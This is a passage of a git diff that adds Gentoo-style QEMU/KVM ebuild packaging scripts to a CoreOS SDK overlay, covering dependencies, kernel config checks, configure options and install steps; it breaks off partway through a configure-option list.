sec-policy/selinux-qemu ) +" + +STRIP_MASK="/usr/share/qemu/palcode-clipper" + +QA_PREBUILT=" + usr/share/qemu/openbios-ppc + usr/share/qemu/openbios-sparc64 + usr/share/qemu/openbios-sparc32 + usr/share/qemu/palcode-clipper + usr/share/qemu/s390-ccw.img + usr/share/qemu/u-boot.e500 +" + +QA_WX_LOAD="usr/bin/qemu-i386 + usr/bin/qemu-x86_64 + usr/bin/qemu-alpha + usr/bin/qemu-arm + usr/bin/qemu-cris + usr/bin/qemu-m68k + usr/bin/qemu-microblaze + usr/bin/qemu-microblazeel + usr/bin/qemu-mips + usr/bin/qemu-mipsel + usr/bin/qemu-or32 + usr/bin/qemu-ppc + usr/bin/qemu-ppc64 + usr/bin/qemu-ppc64abi32 + usr/bin/qemu-sh4 + usr/bin/qemu-sh4eb + usr/bin/qemu-sparc + usr/bin/qemu-sparc64 + usr/bin/qemu-armeb + usr/bin/qemu-sparc32plus + usr/bin/qemu-s390x + usr/bin/qemu-unicore32" + +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure +you have the kernel module loaded before running kvm. The easiest way to +ensure that the kernel module is loaded is to load it on boot.\n +For AMD CPUs the module is called 'kvm-amd'.\n +For Intel CPUs the module is called 'kvm-intel'.\n +Please review /etc/conf.d/modules for how to load these.\n\n +Make sure your user is in the 'kvm' group\n +Just run 'gpasswd -a kvm', then have re-login.\n\n +For brand new installs, the default permissions on /dev/kvm might not let you +access it. You can tell udev to reset ownership/perms:\n +udevadm trigger -c add /dev/kvm" + +qemu_support_kvm() { + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \ + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \ + use qemu_softmmu_targets_s390x; then + return 0 + fi + + return 1 +} + +pkg_pretend() { + if use kernel_linux && kernel_is lt 2 6 25; then + eerror "This version of KVM requres a host kernel of 2.6.25 or higher." + elif use kernel_linux; then + if ! linux_config_exists; then + eerror "Unable to check your kernel for KVM support" + else + CONFIG_CHECK="~KVM ~TUN ~BRIDGE" + ERROR_KVM="You must enable KVM in your kernel to continue" + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in" + ERROR_KVM_AMD+=" your kernel configuration." + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable" + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration." + ERROR_TUN="You will need the Universal TUN/TAP driver compiled" + ERROR_TUN+=" into your kernel or loaded as a module to use the" + ERROR_TUN+=" virtual network device if using -net tap." + ERROR_BRIDGE="You will also need support for 802.1d" + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations." + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET" + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net" + ERROR_VHOST_NET+=" support" + + if use amd64 || use x86 || use amd64-linux || use x86-linux; then + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL" + fi + + use python && CONFIG_CHECK+=" ~DEBUG_FS" + ERROR_DEBUG_FS="debugFS support required for kvm_stat" + + # Now do the actual checks setup above + check_extra_config + fi + fi + + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt" + eerror "instances are still pointing to it. Please update your" + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag" + eerror "and the right system binary (e.g. qemu-system-x86_64)." + die "update your virt configs to not use qemu-kvm" + fi +} + +pkg_setup() { + enewgroup kvm 78 +} + +# Sanity check to make sure target lists are kept up-to-date. +check_targets() { + local var=$1 mak=$2 + local detected sorted + + pushd "${S}"/default-configs >/dev/null || die + + # Force C locale until glibc is updated. #564936 + detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u)) + sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u)) + if [[ ${sorted} != "${detected}" ]] ; then + eerror "The ebuild needs to be kept in sync." + eerror "${var}: ${sorted}" + eerror "$(printf '%-*s' ${#var} configure): ${detected}" + die "sync ${var} to the list of targets" + fi + + popd >/dev/null +} + +handle_locales() { + # Make sure locale list is kept up-to-date. + local detected sorted + detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u)) + sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u)) + if [[ ${sorted} != "${detected}" ]] ; then + eerror "The ebuild needs to be kept in sync." + eerror "PLOCALES: ${sorted}" + eerror " po/*.po: ${detected}" + die "sync PLOCALES" + fi + + # Deal with selective install of locales. + if use nls ; then + # Delete locales the user does not want. #577814 + rm_loc() { rm po/$1.po || die; } + l10n_for_each_disabled_locale_do rm_loc + else + # Cheap hack to disable gettext .mo generation. + rm -f po/*.po + fi +} + +src_prepare() { + check_targets IUSE_SOFTMMU_TARGETS softmmu + check_targets IUSE_USER_TARGETS linux-user + + # Alter target makefiles to accept CFLAGS set via flag-o + sed -i -r \ + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \ + Makefile Makefile.target || die + + epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch + epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch + epatch "${FILESDIR}"/${P}-CVE-2016-6836.patch + # Fix ld and objcopy being called directly + tc-export AR LD OBJCOPY + + # Verbose builds + MAKEOPTS+=" V=1" + + epatch_user + + # Run after we've applied all patches. + handle_locales +} + +## +# configures qemu based on the build directory and the build type +# we are using. +# +qemu_src_configure() { + debug-print-function ${FUNCNAME} "$@" + + local buildtype=$1 + local builddir="${S}/${buildtype}-build" + local static_flag="static-${buildtype}" + + mkdir "${builddir}" + + local conf_opts=( + --prefix=/usr + --sysconfdir=/etc + --libdir=/usr/$(get_libdir) + --docdir=/usr/share/doc/${PF}/html + --disable-bsd-user + --disable-guest-agent + --disable-strip + --disable-werror + # We support gnutls/nettle for crypto operations. It is possible + # to use gcrypt when gnutls/nettle are disabled (but not when they + # are enabled), but it's not really worth the hassle. Disable it + # all the time to avoid automatically detecting it. #568856 + --disable-gcrypt + --python="${PYTHON}" + --cc="$(tc-getCC)" + --cxx="$(tc-getCXX)" + --host-cc="$(tc-getBUILD_CC)" + $(use_enable debug debug-info) + $(use_enable debug debug-tcg) + --enable-docs + $(use_enable tci tcg-interpreter) + $(use_enable xattr attr) + ) + + # Disable options not used by user targets as the default configure + # options will autoprobe and try to link in a bunch of unused junk. + conf_softmmu() { + if [[ ${buildtype} == "user" ]] ; then + echo "--disable-${2:-$1}" + else + use_enable "$@" + fi + } + conf_opts+=( + $(conf_softmmu accessibility brlapi) + $(conf_softmmu aio linux-aio) + $(conf_softmmu bzip2) + $(conf_softmmu bluetooth bluez) + $(conf_softmmu caps cap-ng) + $(conf_softmmu curl) + $(conf_softmmu fdt) + $(conf_softmmu glusterfs) + $(conf_softmmu gnutls) + $(conf_softmmu gnutls nettle) + $(conf_softmmu gtk) + $(conf_softmmu infiniband rdma) + $(conf_softmmu iscsi libiscsi) + $(conf_softmmu jpeg vnc-jpeg) + $(conf_softmmu kernel_linux kvm) + $(conf_softmmu lzo) + $(conf_softmmu ncurses curses) + $(conf_softmmu nfs libnfs) + $(conf_softmmu numa) + $(conf_softmmu opengl) + $(conf_softmmu png vnc-png) + $(conf_softmmu rbd) + $(conf_softmmu sasl vnc-sasl) + $(conf_softmmu sdl) + $(conf_softmmu seccomp) + $(conf_softmmu smartcard) + $(conf_softmmu snappy) + $(conf_softmmu spice) + $(conf_softmmu ssh libssh2) + $(conf_softmmu usb libusb) + $(conf_softmmu usbredir usb-redir) + $(conf_softmmu uuid) + $(conf_softmmu vde) + $(conf_softmmu vhost-net) + $(conf_softmmu virgl virglrenderer) + $(conf_softmmu virtfs) + $(conf_softmmu vnc) + $(conf_softmmu vte) + $(conf_softmmu xen) + $(conf_softmmu xen xen-pci-passthrough) + $(conf_softmmu xfs xfsctl) + ) + + case ${buildtype} in + user) + conf_opts+=( + --enable-linux-user + --disable-system + --disable-blobs + --disable-tools + ) + ;; + softmmu) + # audio options + local audio_opts="oss" + use alsa && audio_opts="alsa,${audio_opts}" + use sdl && audio_opts="sdl,${audio_opts}" + use pulseaudio && audio_opts="pa,${audio_opts}" + + conf_opts+=( + --disable-linux-user + --enable-system + --with-system-pixman + --audio-drv-list="${audio_opts}" + ) + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) ) + use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) ) + ;; + tools) + conf_opts+=( + --disable-linux-user + --disable-system + --disable-blobs + $(use_enable bzip2) + ) + static_flag="static" + ;; + esac + + local targets="${buildtype}_targets" + [[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" ) + + # Add support for SystemTAP + use systemtap && conf_opts+=( --enable-trace-backend=dtrace ) + + # We always want to attempt to build with PIE support as it results + # in a more secure binary. But it doesn't work with static or if + # the current GCC doesn't have PIE support. + if use ${static_flag}; then + conf_opts+=( --static --disable-pie ) + else + gcc-specs-pie && conf_opts+=( --enable-pie ) + fi + + echo "../configure ${conf_opts[*]}" + cd "${builddir}" + ../configure "${conf_opts[@]}" || die "configure failed" + + # FreeBSD's kernel does not support QEMU assigning/grabbing + # host USB devices yet + use kernel_FreeBSD && \ + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak +} + +src_configure() { + local target + + python_setup + + softmmu_targets= softmmu_bins=() + user_targets= user_bins=() + + for target in ${IUSE_SOFTMMU_TARGETS} ; do + if use "qemu_softmmu_targets_${target}"; then + softmmu_targets+=",${target}-softmmu" + softmmu_bins+=( "qemu-system-${target}" ) + fi + done + + for target in ${IUSE_USER_TARGETS} ; do + if use "qemu_user_targets_${target}"; then + user_targets+=",${target}-linux-user" + user_bins+=( "qemu-${target}" ) + fi + done + + softmmu_targets=${softmmu_targets#,} + user_targets=${user_targets#,} + + [[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu" + [[ -n ${user_targets} ]] && qemu_src_configure "user" + [[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools" +} + +src_compile() { + if [[ -n ${user_targets} ]]; then + cd "${S}/user-build" + default + fi + + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + default + fi + + if [[ -z ${softmmu_targets}${user_targets} ]]; then + cd "${S}/tools-build" + default + fi +} + +src_test() { + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + pax-mark m */qemu-system-* #515550 + emake -j1 check + emake -j1 check-report.html + fi +} + +qemu_python_install() { + python_domodule "${S}/scripts/qmp/qmp.py" + + python_doscript "${S}/scripts/kvm/vmxcap" + python_doscript "${S}/scripts/qmp/qmp-shell" + python_doscript "${S}/scripts/qmp/qemu-ga-client" +} + +src_install() { + if [[ -n ${user_targets} ]]; then + cd "${S}/user-build" + emake DESTDIR="${ED}" install + + # Install binfmt handler init script for user targets + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt + fi + + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + emake DESTDIR="${ED}" install + + # This might not exist if the test failed. #512010 + [[ -e check-report.html ]] && dohtml check-report.html + + if use kernel_linux; then + udev_dorules "${FILESDIR}"/65-kvm.rules + fi + + if use python; then + python_foreach_impl qemu_python_install + fi + fi + + if [[ -z ${softmmu_targets}${user_targets} ]]; then + cd "${S}/tools-build" + emake DESTDIR="${ED}" install + fi + + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348 + pushd "${ED}"/usr/bin >/dev/null + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}" + popd >/dev/null + + # Install config file example for qemu-bridge-helper + insinto "/etc/qemu" + doins "${FILESDIR}/bridge.conf" + + # Remove the docdir placed qmp-commands.txt + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die + + cd "${S}" + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt + newdoc pc-bios/README README.pc-bios + dodoc docs/qmp-*.txt + + if [[ -n ${softmmu_targets} ]]; then + # Remove SeaBIOS since we're using the SeaBIOS packaged one + rm "${ED}/usr/share/qemu/bios.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin + fi + + # Remove vgabios since we're using the vgabios packaged one + rm "${ED}/usr/share/qemu/vgabios.bin" + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin" + rm "${ED}/usr/share/qemu/vgabios-qxl.bin" + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin" + rm "${ED}/usr/share/qemu/vgabios-vmware.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin + fi + + # Remove sgabios since we're using the sgabios packaged one + rm "${ED}/usr/share/qemu/sgabios.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin + fi + + # Remove iPXE since we're using the iPXE packaged one + rm "${ED}"/usr/share/qemu/pxe-*.rom + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom + fi + fi + + qemu_support_kvm && readme.gentoo_create_doc +} + +pkg_postinst() { + if qemu_support_kvm; then + readme.gentoo_print_elog + fi + + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then + udev_reload + fi + + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper +} + +pkg_info() { + echo "Using:" + echo " $(best_version app-emulation/spice-protocol)" + echo " $(best_version sys-firmware/ipxe)" + echo " $(best_version sys-firmware/seabios)" + if has_version 'sys-firmware/seabios[binary]'; then + echo " USE=binary" + else + echo " USE=''" + fi + echo " $(best_version sys-firmware/vgabios)" +} diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-9999.ebuild b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-9999.ebuild new file mode 100644 index 0000000000..b00a365891 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-9999.ebuild @@ -0,0 +1,677 @@ +# Copyright 1999-2016 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 + +EAPI="5" + +PYTHON_COMPAT=( python2_7 ) +PYTHON_REQ_USE="ncurses,readline" + +PLOCALES="bg de_DE fr_FR hu it tr zh_CN" + +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \ + user udev fcaps readme.gentoo pax-utils l10n + +if [[ ${PV} = *9999* ]]; then + EGIT_REPO_URI="git://git.qemu.org/qemu.git" + inherit git-2 + SRC_URI="" +else + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2" + KEYWORDS="~amd64 ~arm64 ~ppc ~ppc64 ~x86 ~x86-fbsd" +fi + +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools" +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org" + +LICENSE="GPL-2 LGPL-2 BSD-2" +SLOT="0" +IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \ +gnutls gtk gtk2 infiniband iscsi +jpeg \ +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs ++png pulseaudio python \ +rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu +static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \ +virgl virtfs +vnc vte xattr xen xfs" + +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32 +x86_64" +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb" +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx" + +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS}) +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS}) +IUSE+=" ${use_softmmu_targets} ${use_user_targets}" + +# Allow no targets to be built so that people can get a tools-only build. +# Block USE flag configurations known to not work. +REQUIRED_USE="${PYTHON_REQUIRED_USE} + gtk2? ( gtk ) + qemu_softmmu_targets_arm? ( fdt ) + qemu_softmmu_targets_microblaze? ( fdt ) + qemu_softmmu_targets_ppc? ( fdt ) + qemu_softmmu_targets_ppc64? ( fdt ) + sdl2? ( sdl ) + static? ( static-softmmu static-user ) + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 ) + virtfs? ( xattr ) + vte? ( gtk )" + +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap. +# +# The attr lib isn't always linked in (although the USE flag is always +# respected). This is because qemu supports using the C library's API +# when available rather than always using the extranl library. +# +# Older versions of gnutls are supported, but it's simpler to just require +# the latest versions. This is also why we require nettle. +# +# TODO: Split out tools deps into another var. e.g. bzip2 is only used by +# system binaries and tools, not user binaries. +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)] + sys-libs/zlib[static-libs(+)] + bzip2? ( app-arch/bzip2[static-libs(+)] ) + xattr? ( sys-apps/attr[static-libs(+)] )" +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND} + >=x11-libs/pixman-0.28.0[static-libs(+)] + accessibility? ( app-accessibility/brltty[static-libs(+)] ) + aio? ( dev-libs/libaio[static-libs(+)] ) + alsa? ( >=media-libs/alsa-lib-1.0.13 ) + bluetooth? ( net-wireless/bluez ) + caps? ( sys-libs/libcap-ng[static-libs(+)] ) + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] ) + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] ) + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] ) + gnutls? ( + dev-libs/nettle:=[static-libs(+)] + >=net-libs/gnutls-3.0:=[static-libs(+)] + ) + gtk? ( + gtk2? ( + x11-libs/gtk+:2 + vte? ( x11-libs/vte:0 ) + ) + !gtk2? ( + x11-libs/gtk+:3 + vte? ( x11-libs/vte:2.90 ) + ) + ) + infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] ) + iscsi? ( net-libs/libiscsi ) + jpeg? ( virtual/jpeg:0=[static-libs(+)] ) + lzo? ( dev-libs/lzo:2[static-libs(+)] ) + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] ) + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] ) + numa? ( sys-process/numactl[static-libs(+)] ) + opengl? ( + virtual/opengl + media-libs/libepoxy[static-libs(+)] + media-libs/mesa[static-libs(+)] + media-libs/mesa[egl,gles2] + ) + png? ( media-libs/libpng:0=[static-libs(+)] ) + pulseaudio? ( media-sound/pulseaudio ) + rbd? ( sys-cluster/ceph[static-libs(+)] ) + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] ) + sdl? ( + !sdl2? ( + media-libs/libsdl[X] + >=media-libs/libsdl-1.2.11[static-libs(+)] + ) + sdl2? ( + media-libs/libsdl2[X] + media-libs/libsdl2[static-libs(+)] + ) + ) + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] ) + smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] ) + snappy? ( app-arch/snappy[static-libs(+)] ) + spice? ( + >=app-emulation/spice-protocol-0.12.3 + >=app-emulation/spice-0.12.0[static-libs(+)] + ) + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] ) + usb? ( >=virtual/libusb-1-r2[static-libs(+)] ) + usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] ) + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] ) + vde? ( net-misc/vde[static-libs(+)] ) + virgl? ( media-libs/virglrenderer[static-libs(+)] ) + virtfs? ( sys-libs/libcap ) + xfs? ( sys-fs/xfsprogs[static-libs(+)] )" +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}" +X86_FIRMWARE_DEPEND=" + >=sys-firmware/ipxe-1.0.0_p20130624 + pin-upstream-blobs? ( + ~sys-firmware/seabios-1.8.2 + ~sys-firmware/sgabios-0.1_pre8 + ~sys-firmware/vgabios-0.7a + ) + !pin-upstream-blobs? ( + sys-firmware/seabios + sys-firmware/sgabios + sys-firmware/vgabios + )" +CDEPEND=" + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) ) + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) ) + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} ) + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} ) + python? ( ${PYTHON_DEPS} ) + systemtap? ( dev-util/systemtap ) + xen? ( app-emulation/xen-tools:= )" +DEPEND="${CDEPEND} + dev-lang/perl + =dev-lang/python-2* + sys-apps/texinfo + virtual/pkgconfig + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 ) + gtk? ( nls? ( sys-devel/gettext ) ) + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) ) + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) ) + test? ( + dev-libs/glib[utils] + sys-devel/bc + )" +RDEPEND="${CDEPEND} + selinux? ( sec-policy/selinux-qemu ) +" + +STRIP_MASK="/usr/share/qemu/palcode-clipper" + +QA_PREBUILT=" + usr/share/qemu/openbios-ppc + usr/share/qemu/openbios-sparc64 + usr/share/qemu/openbios-sparc32 + usr/share/qemu/palcode-clipper + usr/share/qemu/s390-ccw.img + usr/share/qemu/u-boot.e500 +" + +QA_WX_LOAD="usr/bin/qemu-i386 + usr/bin/qemu-x86_64 + usr/bin/qemu-alpha + usr/bin/qemu-arm + usr/bin/qemu-cris + usr/bin/qemu-m68k + usr/bin/qemu-microblaze + usr/bin/qemu-microblazeel + usr/bin/qemu-mips + usr/bin/qemu-mipsel + usr/bin/qemu-or32 + usr/bin/qemu-ppc + usr/bin/qemu-ppc64 + usr/bin/qemu-ppc64abi32 + usr/bin/qemu-sh4 + usr/bin/qemu-sh4eb + usr/bin/qemu-sparc + usr/bin/qemu-sparc64 + usr/bin/qemu-armeb + usr/bin/qemu-sparc32plus + usr/bin/qemu-s390x + usr/bin/qemu-unicore32" + +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure +you have the kernel module loaded before running kvm. The easiest way to +ensure that the kernel module is loaded is to load it on boot.\n +For AMD CPUs the module is called 'kvm-amd'.\n +For Intel CPUs the module is called 'kvm-intel'.\n +Please review /etc/conf.d/modules for how to load these.\n\n +Make sure your user is in the 'kvm' group\n +Just run 'gpasswd -a kvm', then have re-login.\n\n +For brand new installs, the default permissions on /dev/kvm might not let you +access it. You can tell udev to reset ownership/perms:\n +udevadm trigger -c add /dev/kvm" + +qemu_support_kvm() { + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \ + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \ + use qemu_softmmu_targets_s390x; then + return 0 + fi + + return 1 +} + +pkg_pretend() { + if use kernel_linux && kernel_is lt 2 6 25; then + eerror "This version of KVM requres a host kernel of 2.6.25 or higher." + elif use kernel_linux; then + if ! linux_config_exists; then + eerror "Unable to check your kernel for KVM support" + else + CONFIG_CHECK="~KVM ~TUN ~BRIDGE" + ERROR_KVM="You must enable KVM in your kernel to continue" + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in" + ERROR_KVM_AMD+=" your kernel configuration." + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable" + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration." + ERROR_TUN="You will need the Universal TUN/TAP driver compiled" + ERROR_TUN+=" into your kernel or loaded as a module to use the" + ERROR_TUN+=" virtual network device if using -net tap." + ERROR_BRIDGE="You will also need support for 802.1d" + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations." + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET" + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net" + ERROR_VHOST_NET+=" support" + + if use amd64 || use x86 || use amd64-linux || use x86-linux; then + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL" + fi + + use python && CONFIG_CHECK+=" ~DEBUG_FS" + ERROR_DEBUG_FS="debugFS support required for kvm_stat" + + # Now do the actual checks setup above + check_extra_config + fi + fi + + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt" + eerror "instances are still pointing to it. Please update your" + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag" + eerror "and the right system binary (e.g. qemu-system-x86_64)." + die "update your virt configs to not use qemu-kvm" + fi +} + +pkg_setup() { + enewgroup kvm 78 +} + +# Sanity check to make sure target lists are kept up-to-date. +check_targets() { + local var=$1 mak=$2 + local detected sorted + + pushd "${S}"/default-configs >/dev/null || die + + # Force C locale until glibc is updated. #564936 + detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u)) + sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u)) + if [[ ${sorted} != "${detected}" ]] ; then + eerror "The ebuild needs to be kept in sync." + eerror "${var}: ${sorted}" + eerror "$(printf '%-*s' ${#var} configure): ${detected}" + die "sync ${var} to the list of targets" + fi + + popd >/dev/null +} + +handle_locales() { + # Make sure locale list is kept up-to-date. + local detected sorted + detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u)) + sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u)) + if [[ ${sorted} != "${detected}" ]] ; then + eerror "The ebuild needs to be kept in sync." + eerror "PLOCALES: ${sorted}" + eerror " po/*.po: ${detected}" + die "sync PLOCALES" + fi + + # Deal with selective install of locales. + if use nls ; then + # Delete locales the user does not want. #577814 + rm_loc() { rm po/$1.po || die; } + l10n_for_each_disabled_locale_do rm_loc + else + # Cheap hack to disable gettext .mo generation. + rm -f po/*.po + fi +} + +src_prepare() { + check_targets IUSE_SOFTMMU_TARGETS softmmu + check_targets IUSE_USER_TARGETS linux-user + + # Alter target makefiles to accept CFLAGS set via flag-o + sed -i -r \ + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \ + Makefile Makefile.target || die + + epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch + epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch + + # Fix ld and objcopy being called directly + tc-export AR LD OBJCOPY + + # Verbose builds + MAKEOPTS+=" V=1" + + epatch_user + + # Run after we've applied all patches. + handle_locales +} + +## +# configures qemu based on the build directory and the build type +# we are using. +# +qemu_src_configure() { + debug-print-function ${FUNCNAME} "$@" + + local buildtype=$1 + local builddir="${S}/${buildtype}-build" + local static_flag="static-${buildtype}" + + mkdir "${builddir}" + + local conf_opts=( + --prefix=/usr + --sysconfdir=/etc + --libdir=/usr/$(get_libdir) + --docdir=/usr/share/doc/${PF}/html + --disable-bsd-user + --disable-guest-agent + --disable-strip + --disable-werror + # We support gnutls/nettle for crypto operations. It is possible + # to use gcrypt when gnutls/nettle are disabled (but not when they + # are enabled), but it's not really worth the hassle. Disable it + # all the time to avoid automatically detecting it. #568856 + --disable-gcrypt + --python="${PYTHON}" + --cc="$(tc-getCC)" + --cxx="$(tc-getCXX)" + --host-cc="$(tc-getBUILD_CC)" + $(use_enable debug debug-info) + $(use_enable debug debug-tcg) + --enable-docs + $(use_enable tci tcg-interpreter) + $(use_enable xattr attr) + ) + + # Disable options not used by user targets as the default configure + # options will autoprobe and try to link in a bunch of unused junk. + conf_softmmu() { + if [[ ${buildtype} == "user" ]] ; then + echo "--disable-${2:-$1}" + else + use_enable "$@" + fi + } + conf_opts+=( + $(conf_softmmu accessibility brlapi) + $(conf_softmmu aio linux-aio) + $(conf_softmmu bzip2) + $(conf_softmmu bluetooth bluez) + $(conf_softmmu caps cap-ng) + $(conf_softmmu curl) + $(conf_softmmu fdt) + $(conf_softmmu glusterfs) + $(conf_softmmu gnutls) + $(conf_softmmu gnutls nettle) + $(conf_softmmu gtk) + $(conf_softmmu infiniband rdma) + $(conf_softmmu iscsi libiscsi) + $(conf_softmmu jpeg vnc-jpeg) + $(conf_softmmu kernel_linux kvm) + $(conf_softmmu lzo) + $(conf_softmmu ncurses curses) + $(conf_softmmu nfs libnfs) + $(conf_softmmu numa) + $(conf_softmmu opengl) + $(conf_softmmu png vnc-png) + $(conf_softmmu rbd) + $(conf_softmmu sasl vnc-sasl) 